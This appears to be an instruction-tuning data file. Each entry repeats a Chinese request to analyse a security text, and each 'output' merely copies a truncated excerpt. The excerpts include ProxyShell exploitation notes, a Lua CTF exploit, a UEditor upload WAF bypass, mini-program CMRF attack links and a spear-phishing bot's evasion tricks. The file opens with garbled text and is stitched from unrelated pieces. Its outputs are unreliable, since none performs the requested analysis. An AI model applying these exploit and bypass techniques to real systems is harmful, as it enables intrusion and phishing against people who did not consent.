notesudspathNULLelse
elseworker->s->uds_pathnullworker ProxyPass xxxx
worker
worker


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#Proxyshell# 个人记录
目前 proxyshell 实战中遇到最多的问题有两种。一个是 powershell 端点获取问题，一个是获
取 cmdlet 可执行端点后 get webshell 中间遇到的坑。
一、powershell 端点获取问题
目前大部分人利用 poc 时都是使用 administrator 测试是不是存在可以利用的 powershell 端
点，获取不到爆破邮箱。这里使用头像哥思路可花较少时间获取 ps Exhange 的权限。
1. 原始 poc 浅析
https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell.py
结合最先公开的 poc(此 poc 大量参考斗象文章)中的部分点，分析下它的利用链和实际遇到
的问题。Poc 执行后首先获取 LegacyDN 而后获取 sid 最后生成 token，获取的前提是输入的
邮箱必须是存在的邮箱否则会报五百错误。
生成完毕 token 后第二个红色箭头处会停留等待输入命令。需要注意的是程序运行到此处只
是生成了 token 并没有验证 token 是否具有远程权限。
Shell 函数获取用户输入后才会发起认证，进入函数后第一个红色箭头处 wsman 将帮助我们
发起认证格式为 Kerberos 的请求，并执行命令(发起的请求还会经过 PwnServer 类处理)。认
证过程中如果指定邮箱没有 Exchange Online PowerShell 权限时会报错如下。
有权限将会获取输入的命令执行结果。以上是原 poc 的执行流程。
2. 另一新公开的 poc 分析
https://github.com/ktecv2000/ProxyShell
原理类似所以略过分析，该脚本针对部分环境存在问题。如果 rid 不是 500 强制修改 rid 为
500 当它打印出[Stage 3] Accessing /Powershell Endpoint 时实际此时在部分环境下不会成功
认证，但此处还会打印完成认证没有写好处理逻辑问题，也可能作者只打了自己搭建的
exchange 他没有发现这一问题。
为了清楚的看到它是否真的通过 wsman 认证成功，我们首先替换 pypsrp 库的 wsman.py 文
件为该 poc 作者自己写的 wsman.py，再给它发送的 requests 请求加上代理，看下究竟是什
么样的回显。
执行后于 burp 看到回显如下。
可以看到实际上它是根本没有验证成功，查询该问题。
https://windowstechpro.com/the-user-isnt-assigned-to-any-management-roles-error/
https://serverfault.com/questions/100311/how-do-i-resolve-user-isnt-assigned-to-any-managem
ent-roles-error-in-exchange
大概得知是因为域管未加入 exchange Organization Management 组造成，所以此脚本
及其他类似思路的 poc 或脚本，只适用于目标环境恰好存在 rid500 域管在该组的情况
下，否则都会失败。
到这里也能解决一个迷思，有个好兄弟很坚定认为说如果你都不是域管你怎么去导出
邮件，给我一顿嘲讽。这里我们知道域管与 exchange 管理员是分离的，并没有必然
联 系 。 即 使 rid 为 500 域 管 理 员 也 会 失 败 所 以 根 源 问 题 应 该 是 用 户 是 不 是 在
Organization Management 组中。
至于为何产生这种情况，在其他类似问题的解答里看到，似乎是安装 exchange 时用
户不是对应的域管造成，应该是属于安装问题。而其他尤其是高版本 exchange 的可
能有所更新，已经避免了此问题，目前真实环境中未遇到非 exchange15 的存在这个
问题。
这个情况也通用于其他类似脚本，原理是一样的。所以部分朋友认为修改 rid500 就能
通杀所有目标环境的是完全的美好幻想。
二、Get shell 问题
很多环境都存在 rid500 可以打的情况，其 cmdlet 命令集支持所有的命令如 certificate、设置
导出权限就是直接 shell。
但是实际过程中发现遇到 exchange15 的环境，使用的账户拥有访问 powershell 端点的权限,
但是 cmdlet 支持不全。这个用之前头像哥的思路去获取到所有成员，再自行测试其是否是
管理员去打目前还未成功，没能实锤这种情况究竟是版本问题还是权限问题。如果后...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DefCon 13
Shmoo-Fu: Hacker Goo,
Goofs, and Gear with the
Shmoo
The Shmoo Group
www.shmoo.com
DefCon 13
What's up Shmoo?
● Howdy & introductions...
● Our festivities will include:
– IDN Fallout & Homograph Attacks
for Personal Identities
– Super Spy Stuff
– Revving Up Rainbow Tables
– Rogue Squadron & EAP Peeking
– Shooting Your Security Wad
– Don't Try This at Home
– And MORE!
DefCon 13
Stickers anyone?
DefCon 13
IDN Fallout
● At ShmooCon 2005, Eric
Johansen dropped the browser
bomb regarding IDN issues.
● The press ran with it a bit.
● The folks responsible for IDN
ranted for a bit.
● But did anything concrete occur?
● And where are we now?
DefCon 13
1337 Personal Identities
● So Ericj is now 3ricj, BTW.
● Oh snap.  That rhymes.
● Where does the system break
down when your name doesn't
quite conform?
● Does 3ricj get more fan mail?
● Can the man keep your 1337
identity down?
DefCon 13
And now...
Pablos.
DefCon 13
Super Spy Stuff
● Robots got boring, so Pablos
starting hanging out with models
after his chic hacker photo shoot
in FHM.
● The result was nothing short of
spectacular, as the fashionable
cell-phone stowaway strifes hot
women face were finally
addressed.
DefCon 13
While Pablos discusses
the alien technology
inner workings of his
secret ninja lair, you can
stare at this...
DefCon 13
DefCon 13
Dan Moniz goes crazy...
DefCon 13
rainbowtables.shmoo.com
● We think rainbow tables are neat.
● Just for fun, we started hosting
rainbow tables that we had
generated.
– LanMan
– Via Bittorrent
– FREE
● Some people liked that.  Yay!
● Some people didn't...
DefCon 13
---------- Forwarded message ----------
From: Zhu Shuanglei <shuanglei@hotmail.com>
Date: Mar 10, 2005 12:42 AM
Subject: About your shmoo site
To: beetle@shmoo.com
Hi,
I am Zhu Shuanglei, the author of RainbowCrack software. I notice you are
offering free BitTorrent links on your website for the rainbow tables. For
those guys selling the table without permission from me, they are no...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

XCTF WP
AuthorNu1L Team
wpWP
NaNroot@nu1l.com 2.0
Nu1L
XCTF WP
lua
BLSMPS
babyjail
babybaes
hardstack
house of pig
hello arm
dngs2010
warmupcms
GSA
apk
Dubbo
space
lamaba
3*3
babydebug
easycms
spider
coturn
lua
local bit_band   = bit.band
local bit_lshift = bit.lshift
local bit_rshift = bit.rshift
local math_floor = math.floor
local math_frexp = math.frexp
local math_ldexp = math.ldexp
local math_huge  = math.huge
function UInt32sToDouble(low, high)
  local negative = false
  if high >= 0x80000000 then
    negative = true
    high = high - 0x80000000
  end
  local biasedExponent = bit_rshift(bit_band(high, 0x7FF00000), 20)
  local mantissa = (bit_band(high, 0x000FFFFF) * 4294967296 + low) / 2 ^ 52
  local f
  if biasedExponent == 0x0000 then
    f = mantissa == 0 and 0 or math_ldexp(mantissa, -1022)
  elseif biasedExponent == 0x07FF then
    f = mantissa == 0 and math_huge or(math_huge - math_huge)
  else
    f = math_ldexp(1 + mantissa, biasedExponent - 1023)
  end
  return negative and -f or f
end
function encode(value)
    code = ''
  i = 4
    while i~=0 do
        code = code .. string.char(value%256)
        value = value/256
    i = i-1
    end
    return code
end
local function a()
  while(1)
  do
  end
  return 1
end
-- 0x40000000 44D7D0
-- 6764A0
local fake =
"\xd0\xd7\x44\x00\xd0\xd7\x44\x00\xd0\xd7\x44\x00\xd0\xd7\x44\x00sh\x00\x00\x00\x00\x00
\x00"..encode(0x044D7E2)..encode(0x044D7E2)..encode(0x044D7E2)
local fa = tonumber( string.format( "%p", fake ), 16 )+ 32
print(encode(fa)) -- 0x451313  451309
local str = "sh\x00\x00\x00\x00\x00\x40"..encode(fa)..encode(fa-1000)..encode(fa-
1000).."\x00\x00\x00\x00"..encode(0x451309).."\x00\x00\x00\x00"..encode(0x451313).."\x0
0\x00\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
print(a)
local address = tonumber( string.format( "%p", str ), 16 )+ 24
print( tonumber( string.format( "%p", str ), 16 ) )
address = UInt32sToDouble( address - 8, 0 )
local func = debug.getinfo( 0, ">f", address ).func
-- p...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
DirectX: The New Hyper-V
Attack Surface
Zhenhao Hong (@rthhh17)
Ziming Zhang (@ezrak1e)
#BHUSA @BlackHatEvents
Information Classification: General
whoami
Zhenhao Hong (@rthhh17)
• Security Specialist of Ant
Group Light-Year Security Lab
• 2019-2020 MSRC Most
Valuable Security
Researchers
• Black Hat USA 2021 Speaker
Ziming Zhang (@ezrak1e)
• Security researcher of Ant
Group Light-Year Security Lab
• 2021 Tianfu Cup Windows
project winner
• 2021 Q2/Q4 Microsoft Most
Valuable Security Researchers
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
Intro
➢ In 2020, Hyper-V introduced a new feature of GPU-
Paravirtualization.
➢ This technology is integrated into WDDM (Windows Display Driver
Model) and all WDDMv2.5 or later drivers have native support for
GPU virtualization.
➢ New features mean new attack surfaces.
#BHUSA @BlackHatEvents
Information Classification: General
WDDM Architecture
https://docs.microsoft.com/en-us/windows-hardware/drivers/display/images/dx10arch.png
#BHUSA @BlackHatEvents
Information Classification: General
Hyper-V DirectX Component Architecture
Hypervisor        (Ring -1)
User Mode
Kernel Mode
Linux VM
Windows Host
VMBUS
(hv_vmbus.ko)
DirectX LKM
(dxgkrnl.ko)
Application
/dev/dxg
vmcall
Application
Runtime Component
UserMode Driver
VMBUS
Component
DirectX graphics kernel
subsystem
(dxgkrnl.sys)
DirectX graphics
MMS
(dxgmms1.sys &
dxgmms2.sys)
GPU driver
vmcall
#BHUSA @BlackHatEvents
Information Classification: General
WDDM Data Flow
Hypervisor        (Ring -1)
User Mode...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Frevbhfyl?  Ntnva?  Ebg guvegrra? Whfg jung qb lbh gnxr zr sbe?
QmFzZTY0PyBOb3cgeW91J3JlIGp1c3QgcmVhY2hpbmcuLi5UaGluZ3MgYX
JlIG9ubHkgZXZlciBhcyBjb21wbGljYXRlZCBhcyB0aGV5IG5lZWQgdG8gYmU
uICBCdXQgaWYgeW91IGdldCBzdHVjaywgd2hlbiB5b3UncmUgYmx1ZSwgd
HJ5IHR1cm5pbmcgdXAgdGhlIGhlYXQuICBJdCB3aWxsIG1ha2UgeW91IHRo
aW5rIHlvdSdyZSBvbiBhbiBpc2xhbmQsIGFuZCBoZXksIGF0IGxlYXN0IHRoZ
W4geW91J2QgYmUgb24gYW4gaXNsYW5kLg==


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

www.dbappsecurity.com.cn
百举百捷：
红队视角下又一个突破口，
再看大国独有小程序
2020.6.16/Poc Sir
À propos de moi
关于我
Poc Sir
Cool-Guy@C-est.Cool
雷神众测以及其他平台专业打酱油白帽子
Hack Inn « www.hackinn.com » 安全议题分享平台运营者
安恒信息实习4年的最长实习生，未来仍将实习
目前一直呆在法国，欢迎大家来找我思考美食、人参
喜欢聊聊两岸三地，微博号挺多的红V、蓝V、橙V、没V都有
Contents
目录
小程序概览
01
获取小程序源码
02
初探好玩的CMRF漏洞
03
小程序的特有API漏洞
04
05 第三方那些事
小程序概览
01
小程序他🔥吗？ —— 太火了
“后疫情时代”海外人员归国离不开“防疫健康码国际版”
当你在微信分享“微博”“百度网盘文件”时离不开对应小程序
他已经慢慢的渗透进了我们的互联网生活……
那他为什么能火呢？
1.强大的平台依托，谁不用微信&支付宝
2.方便、轻量，好东西为啥不用？
3.各方重视，大力发展，互联网时代潮流
字节跳动
百度
京东
阿里巴巴
腾讯
今日头条
西瓜视频
抖音
皮皮虾
百度APP
京东APP
京东金融
京麦APP
高德导航
UC浏览器
淘宝
支付宝
微信
QQ
QQ浏览器
哪些平台有小程序生态？
单纯在小程序平台层面我们能做什么？
资产搜集！
信息搜集！
快速搜索企业小程序
判别资产归属
轻松获取子域名
脚本源
码自取
🐎######🐎
自己送上门的信息
获取小程序源码
02
安卓保存路径：/data/data/com.tencent.mm/MicroMsg/{用户ID}/appbrand/pkg/
IOS 保存路径：/var/mobile/Containers/Data/Application/{程序-
UUID}/Library/WechatPrivate/{用户ID}/WeApp/LocalCache/release/{小程序ID}/
.wxapkg文件
IOS 保存路径：
/var/mobile/Containers/Data/
Application/{程序-
UUID}/Documents/NAMAPP_
UNZIP/{随机ID}/
未加密压缩包
还原小程序
xml (axml 阿里、wxml 微信、jxml 京东)
＆ css (acss、wxss、jxss) ＆ js ＆ json
不见了！！
多出来的HTML文件是啥？
为啥打开之后一片空白？
你是谁？你变了，
变的开发者工具都不认识你了
支付宝小程序
微信小程序
index.js
(页面名称).html
wxss文件
acss文件
支付宝小程序
微信小程序
index.woker.js
app-service.js
js文件
js文件
支付宝小程序
微信小程序
appConfig.json
app-config.json
json文件
json文件
支付宝小程序
微信小程序
page-frame.html
index.js
wxml文件
axml文件
初探好玩的CMRF漏洞
03
看不见却实际存在的页面路径
可传入数据但又无法直接修改
pages/archives/detail.html?id=492&title=
HackingDay 2019 HangZhou
CMRF 跨小程序请求伪造漏洞
（Cross MiniAPP Request Forgery）
利用小程序对用户在对应平台上身份的
信任，在获取页面传入的参数之后结合
用户已经登录的身份信息向小程序后端
发送对应的数据包，从而使用户在无意
间完成一次具有危害性的请求操作。
/pages/my/changepwd.html
?newpwd=新的密码
输入密码点击修改
https://example.org/user/changepwd.do?
password=新密码&token=用户身份信息
构造恶意分享内容
…?newpwd=Abc123
诱导
点击
CMRF
完整
拟真
利用
Title:决定页面描述
Des:决定小程序标题
Pagepath: 决定小程序页面
路径以及传入参数内容
alipays://platformapi/startapp?appId=小程
序ID号&page=urlencode之后的页面数据
/pages/index/thorsrc?date=616&whoami=Poc-Sir
……
baiduboxapp://swan/小程序ID号/?传入页面数据
dingtalk://dingtalkclient/action/open_mini_app?miniApp
Id=appid&page=页面?...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

©
  2012
  The
  MITRE
  Corpora2on.
  All
  rights
  reserved.
No
  More
  Hooks:
Trustworthy
  Detec2on
  of
Code
  Integrity
  AGacks
Xeno
  Kovah,
  Corey
  Kallenberg,
Chris
  Weathers,
  Amy
  Herzog,
MaGhew
  Albin,
  John
  BuGerworth
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Dear
  everyone:
This
  system
  is
Infected!
2
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
I
  don't
  like
  you.
You
  are
annoying.
3
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
I
  don't
  like
  you.
You
  are
annoying.
*scribble*
*scribble*
*scribble*
4
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Dear
  everyone:
This
  system
  is
A-‐OK!
5
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
That's
  what
  I'm
talkin'
  'bout
(Bruce)
  Willis!
6
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Checkmate
*scan*
*scan*
*scan*
Security
SoPware
  is
compromised!
7
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Checkmate
You
  are
similarly
annoying!
*scribble*
*scribble*
*scribble*
8
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
is
  OK.
Security
  SoPware
Malicious
  SoPware
Checkmate
*scan*
*scan*
*scan*
Don't
  believe
  me!
I'm
  compromised!
9
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
Malicious
  SoPware
Checkmate
Are
  you
  kidding
me?
  F*&@^
  self-‐
checking
  tricorder…
This
  is
  ridiculous!
*scribble*
*scribble*
*scribble*
10
© 2012 The MITRE Corporation. All rights reserved.
Security
  SoPware
is
  OK.
Security
  SoPware
Malicious
  SoPware
Checkm...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Eric Sesterhenn <eric.sesterhenn@x41-dsec.de>
2018
X41 D-SEC GmbH
https://www.x41-dsec.de/
1 / 30
whoami
• Eric Sesterhenn
• Principal Security Consultant
• Pentesting/Code Auditing at X41
https://www.x41-dsec.de/
2 / 30
Disclaimer
• The issues presented here have been
reported and ﬁxed!
• These are open source projects - help them!
• I am not interested in testing / debugging
proprietary stuﬀ in my spare time.
DEF CON 2018
3 / 30
Targets
LINUX
LOGIN
DEF CON 2018
4 / 30
Why?
• Smartcards control authentication!
• Authentication runs as root!
• Users and programmers
subconsciously trust the smartcard!
DEF CON 2018
5 / 30
Smartcards
User
Smartcard
Reader
Reader Driver
(PC/SC)
Login
(pam)
Smartcard Driver
(OpenSC)
DEF CON 2018
6 / 30
What is a Smartcard?
• Physical, tamper-proof device
• Designed to keep information secret
• Contains memory and a processor
https://en.wikipedia.org/wiki/Smart_card#/media/File:SmartCardPinout.svg
DEF CON 2018
7 / 30
Application Protocol Data Unit
• APDUs form the protocol to talk to
smartcards
• ISO/IEC 7816-4 Identiﬁcation cards
- Integrated circuit cards
• T=0 is character oriented / T=1 is
block-oriented
• Verify: 00 20 00 01 04 31323334
CLA
INS
P1
P2
LC
Data
1
1
1
1
0-3
NC
DEF CON 2018
8 / 30
PC/SC API
• PC/SC API can be used on win and
*nix
• Other libraries have a similar
interface
LONG WINAPI SCardTransmit(
SCARDHANDLE
hCard,
LPCSCARD_IO_REQUEST pioSendPci,
LPCBYTE
pbSendBuffer,
DWORD
cbSendLength,
PSCARD_IO_REQUEST
pioRecvPci,
LPBYTE
pbRecvBuffer,
LPDWORD
pcbRecvLength
);
DEF CON 2018
9 / 30
PKCS11
• PKCS11 is a platform independent
API for cryptographic token
• Supported by OpenSSL, browsers,...
(eg. via libp11)
• Windows uses smartcard Minidriver
now
• Driver for each card, uses ATR to
match
CK_RV C_FindObjectsInit(
CK_SESSION_HANDLE hSession,
CK_ATTRIBUTE_PTR pTemplate,
CK_ULONG ulCount
);
DEF CON 2018
10 / 30
Smartcard Stack Summary
Application (pam)
PKCS11
PC/SC
APDU
Physical Card
DEF CON 2018
11 / 30
Smartcard for Sign-On
P...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

所有操作均在授权项目中进行。
一天下午好兄弟发来一个 ueditor 环境存在.net 任意文件上传一起看下，存在创某盾 waf。
0x01
把所有常用办法都测试例如 uri 填充、post 填充、大并发、参数混淆、参数 fuzz 等等都测试
过后均失败。
后 fuzz 其他扩展名发现 cer、asmx、shtml 可以上传其他 ashx 什么的拦截。
其中 cer 创某盾禁止访问。asmx 文件试了很多个文件访问均 500 报错，谷歌后似乎是因为
要.net4.6 以上才默认支持 asmx，不知道与 iis10 版本有没有关系。
尝试 shtml exec 执行命令提示。
包含文件报错，谷歌说原因是读取的路径或者文件中含有中文，此处暂时放下。
打印环境变量成功由此知道了目标中间件是 iis10 和其它信息。
到这里思路又卡住了，花了很多时间回去继续 fuzz 参数等等。
0x02
没招了，找分析文章看这个漏洞的原理。发现大部分文章都是抄 Ivan1ee 的文章，并没讲的
很清楚，只是复现下在讲下大概原理就没了。于是下载了.net 版源码，跟流程。
/net/controller.ashx
这里实例化 CrawlerHandler 类，跟进这个类。
/net/App_Code/CrawlerHandler.cs
第一红色箭头判断了传入 url 访问后 response 头有无图片头，这里如果我们把我们的站点所
有请求均加入图片头，直接传入 aspx 一样可以下载原 poc:1.jpg?.aspx 只是用图片马方便绕
过图片头判断。
第二红色箭头是漏洞代码所在，由其处理最关键的 path，其他抄文章的到这里就是一句话
说这个函数存在漏洞就没了。为了搞清楚究竟路径是如何处理的跟进该函数。
/net/App_Code/PathFormater.cs
这里两个红色箭头处才是漏洞根源，invalidPattern.Replace 通过正则去除了路径中的部分特
殊字符，将匹配的字符置空。这里可以看到正则内共有[\\\/\:\*\?\042\<\>\|]这么多字符，都
可以置空。
第二个箭头到了 extention 处就是指定文件扩展名的，GetExtension()这个函数是自带函数用
于获取最后的扩展名。
以原 poc 为例子：漏洞原理为 1.jpg?.aspx 到了 invalidPattern.Replace 处通过正则替换后成
为 1.jpg.aspx 后经过 GetExtension()得到扩展名 aspx 最后 return 处理后的路径及扩展名。
经上面得知正则支持很多替换，马上去试了结果还是拦截掉了。
根据这个正则又 fuzz 了下还是拦截。这时候快十二点了，暂时又没了思路。再看看代码什
么的，又花了半个多小时。之后突然想到既然 PathFormater 可以帮忙把特殊符号置空，自
己直接通过特殊符号拼接 aspx 关键字不就能绕过了，再去操作下。
构造 poc，已经成功。用这个思路还有类似的 poc 可以绕过这里不再贴图。
0x03 绕过
测试时猜测 waf 后端的规则的粒度应该控制到具体漏洞级别了，针对不同漏洞有不同的规
则。如把 uri 中的 action 删除就不会拦截，这时候应该规则就匹配不到 ue 这个漏洞规则所
以不会拦截。
优点：细粒度的规则最大程度避免了对生产业务的干扰。
缺点：针对不同漏洞需要花很多精力根据漏洞代码做细致规则，否则可能就像 ue 通过源码
中的代码逻辑构造不常见的利用方式就可完成绕过。
总结：从代码里面构造新的 poc 是一种快捷的思路。
0x04 防御
针对正则表达式处增加对应的规则修补。
Ref:
https://forums.iis.net/t/1241946.aspx?Setting+up+IIS+10+for+ASMX+service
https://www.freebuf.com/vuls/181814.html


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#WeaponizeMe
Weaponizing Data Science
for Social Engineering:
Automated E2E Spear Phishing on Twitter
John Seymour  |  Philip Tully
1
#WeaponizeMe
You care about phishing on social media
2
#WeaponizeMe
TL;DR
3
Level of Effort
Success Rate
Our Tool
Fully Automated
>30% Accuracy
Spear Phishing
Highly Manual
45% Accuracy
Phishing
Mostly Automated
5-14% Accuracy
Tweet #WeaponizeMe before the demo to get an example tweet!
#WeaponizeMe
#whoami
4
John Seymour
@_delta_zero
Philip Tully
@kingphish3r
Data Scientist at ZeroFOX
Senior Data Scientist at ZeroFOX
Ph.D. student at UMBC
Ph.D. student at University of Edinburgh &
Royal Institute of Technology
Researches Malware Datasets
Brain Modeling and Artificial Neural Nets
#WeaponizeMe
Fooling Humans for 50 Years
5
 Microsoft
 Deep Neural Network
 1966: ELIZA chatbot
 Joseph Weizenbaum, MIT
1966: Eliza Chatabot
20166: @TayandYou AI Chatbot
#WeaponizeMe
InfoSec ML Historically Prioritizes Defense
6
#WeaponizeMe
#Shoutout
7
#WeaponizeMe
Weaponizing Data Science
for Social Engineering:
Machine Learning on Offense
Automated E2E Spear Phishing on Twitter
8
#WeaponizeMe
Our
#SMACK Tool
9
#SMACK
Tool
Twitter
Profiles
Payloads
Harvesting
#WeaponizeMe
Why Twitter?
10
Bot-friendly API
Colloquial syntax
Shortened links
Trusting culture
Incentivized data disclosure
#WeaponizeMe
Techniques to Evade Detection
 Our ML Tool...
 Shortens payload per unique user
 Auto-tweets at irregular intervals
 Triages users wrt value/engagement
 Prepends tweets with @mention
 Obeys rate limits
 We added...
 Post non-phishing posts
 Build believable profile
11
#SMACK
Tool
Twitter
Profiles
Payloads
Harvesting
#WeaponizeMe
Design Flow
12
is_target(user)
get_timeline(depth)
gen_markov_tweet()
gen_nn_tweet()
schedule_tweet_and_sleep()
post_tweet_and_sleep()
#SMACK
Tool
Twitter
Profiles
Payloads
Harvesting
#WeaponizeMe
Weaponizing Data Science
for Social Engineering:
Automated Target Discovery
Automated E2E Spear Phishing on Twitter
13
#WeaponizeMe
Triage of...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
脱壳⼩⼦-java anti-decompiler保护脱壳
前⾔
脱壳思路
脱壳效果
开源地址
有⼀天，脚本⼩⼦想开发⼀个⼯具，但脚本⼩⼦⼜不想从头构思设计代码框架，就找找业界有没有
好的⼯具能不能抄抄。终于在脚本⼩⼦快乐星球⾥，找到⼀个看起来还不错的⼯具。但存在⼀个问题，
这个⼯具有代码保护壳。。。脚本⼩⼦本来想当裁缝⼩⼦的，可没想到还得先变成脱壳⼩⼦才⾏。
正⾯硬刚解密算法是⼀种思路，但所需要花费的时间太⻓，性价⽐不是很⾼，并且由于笔者太菜
了，浅尝了下，发现不太容易搞定。这⾥采⽤CSAgent的形式，通过注⼊⽬标程序，替换壳代码的解密
加载过程，直接将解密后的代码写到⽂件当中。
解密加载代码在JavaLauncherIdea$Decoder的loadJars⽅法当中。
其中类CipherInputStream的作⽤就是读取加密状态的⽂件，所以我们只需要在这⾥将
CiperInputStream获取的⽂件流读取出来，然后写⼊到本地⽂件即可。
前⾔
脱壳思路
2
这⾥有个⼩坑，就是在壳代码当中有个判断启动java进程的命令⾏参数当中是否包含-
XX:+DisableAttachMechanis，并且这个选项是否是⽣效的，代码位置在JavaLauncherIdea的main⽅法
中。
要是启动参数当中没有加⼊这个选项或者没有⽣效，就会创建新JVM进程，并且在新进程启动参数
中添加-XX:+DisableAttachMechanis。
Java
复制代码
if (jvmArgs.contains("-XX:+DisableAttachMechanism") &&
jvmArgs.lastIndexOf("-XX:-DisableAttachMechanism") <
jvmArgs.lastIndexOf("-XX:+DisableAttachMechanism")) {
            JavaLauncherIdea launcher = new JavaLauncherIdea();
            try {
                launcher.run(args);
            } catch (Throwable var6) {
                JOptionPane.showMessageDialog((Component)null,
var6.getMessage(), "Error", 0);
                System.exit(0);
            }
 }
1
2
3
4
5
6
7
8
9
10
3
所以我们在使⽤javaagent时带上-XX:+DisableAttachMechanis这个启动选项。
这⾥开发脱壳agent⽩嫖了Twi1ight师傅得CSAgent的模板代码，感谢⼤佬的代码，脚本⼩⼦表示⽩
嫖真⾹。最后脱壳后的⽂件会保存在java运⾏的当前⽬录下，名字以xxx_unpacked.jar命名
https://github.com/yougar0/AntiDecAgent
脱壳效果
开源地址
Java
复制代码
java -javaagent:CSAgent-1.4-SNAPSHOT-jar-with-dependencies.jar -
XX:+DisableAttachMechanism -jar xxx.jar
1


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
1
Biting the Hand That Feeds You
Storing and Serving Malicious Content from Well Known Web Servers
Billy K Rios – Senior Researcher
Nathan Mcfeters – Senior Researcher
Kicking Down the Cross Domain Door
ii
Intended Audience
This paper assumes the reader has a solid understanding of web application security
principles, Cross Site Request Forgery, and web browser security mechanisms.
Contributing Authors
Version 1.0
Billy Kim Rios – Senior Researcher – VeriSign Inc, Seattle
Nathan Mcfeters – Senior Researcher – Advanced Security Center, Houston
Kicking Down the Cross Domain Door
iii
Table of Contents
INTENDED AUDIENCE............................................................................................................................ II
CONTRIBUTING AUTHORS................................................................................................................... II
CHAPTER 1 – WHO DO YOU TRUST? .................................................................................................. 4
1. OVERVIEW .............................................................................................................................................. 4
2. BROWSER/APPLICATION SECURITY MEASURES...................................................................................... 4
3. A NEW TWIST ON CROSS SITE REQUEST FORGERY................................................................................. 5
CHAPTER 2 – BITING THE HAND - YAHOO....................................................................................... 7
1. CREATING AN ACCOUNT......................................................................................................................... 7
2. UPLOADING CONTENT ............................................................................................................................ 7
3. BYPASSING MISCELLANEOUS PROTECTION MEASURES....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

NIST Special Publication
NIST SP 800-161r1
Cybersecurity Supply Chain Risk
Management Practices for Systems
and Organizations
Jon Boyens
Angela Smith
Nadya Bartol
Kris Winkler
Alex Holbrook
Matthew Fallon
This publication is available free of charge from:
https://doi.org/10.6028/NIST.SP.800-161r1
NIST Special Publication
NIST SP 800-161r1
Cybersecurity Supply Chain Risk
Management Practices for Systems
and Organizations
Jon Boyens
Angela Smith
Computer Security Division
 Information Technology Laboratory
Nadya Bartol
Kris Winkler
Alex Holbrook
Matthew Fallon
Boston Consulting Group
This publication is available free of charge from:
https://doi.org/10.6028/NIST.SP.800-161r1
May 2022
U.S. Department of Commerce
Gina M. Raimondo, Secretary
National Institute of Standards and Technology
Laurie E. Locascio, NIST Director and Undersecretary of Commerce for Standards and Technology
i
Authority
This publication has been developed by NIST in accordance with its statutory responsibilities under the
Federal Information Security Modernization Act (FISMA) of 2014, 44 U.S.C. § 3551 et seq., Public Law
(P.L.) 113-283. NIST is responsible for developing information security standards and guidelines, including
minimum requirements for federal information systems, but such standards and guidelines shall not apply
to national security systems without the express approval of appropriate federal officials exercising policy
authority over such systems. This guideline is consistent with the requirements of the Office of Management
and Budget (OMB) Circular A-130.
Nothing in this publication should be taken to contradict the standards and guidelines made mandatory and
binding on federal agencies by the Secretary of Commerce under statutory authority. Nor should these
guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce,
Director of the OMB, or any other federal official. This publica...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

RESEARCH ON THE MACHINES
HELP THE FTC PROTECT PRIVACY
AND SECURITY
Humans
User: Terrell McSweeny
Function: Commissioner, FTC
@TMcSweenyFTC
User: Lorrie Cranor
Function: Chief Technologist, FTC
@lorrietweet
Machines
Speech Schematics
Privacy &
Security
Protections Now
Issues of
the Day
We Need
Your Help!
How does the FTC respond to the
Rise of the Machines?
When
machines
are
everywhere?
What does the FTC do?
Unfair
Deceptive
What do “unfair” and “deceptive” mean?
•  Unfair =
–  Substantial Injury to Consumers
–  Unavoidable
–  Not Outweighed Procompetitive By Benefits
•  Deceptive =
–  Act Likely to Mislead Consumers
–  Unreasonable
–  Material
For Example …
Facebook promised to keep personal info
safe, but allowed 3rd party access
Google promised Gmail contacts wouldn’t
be used elsewhere, but used them in its
social-media site, Buzz
Snapchat promised images
would disappear, but kept them
For Example …
Wyndham unfairly exposed consumers’
payment-card info in three separate data
breaches
ORACLE promised its updates would
protect consumers, but didn’t protect older
versions of Java SE.
ASUS promised its routers would protect
local network against attacks, but failed to
update them enough
How do we decide what cases to bring?
Research
Media
Complaints
Current
Issues
Mobile phone account hijacking
and new account fraud
Number of
incidents
reported
% of identity
theft reports
January 2013 1,083
3.2%
January 2016 2,658
6.3%
Reported to FTC Consumer Sentinel Network
PII
FCC
NHTSA
DOE
FAA
HIPPA
Defenseless Data
FACTA
ECOA
COPPA
FCR
A
FTC Act
FTC
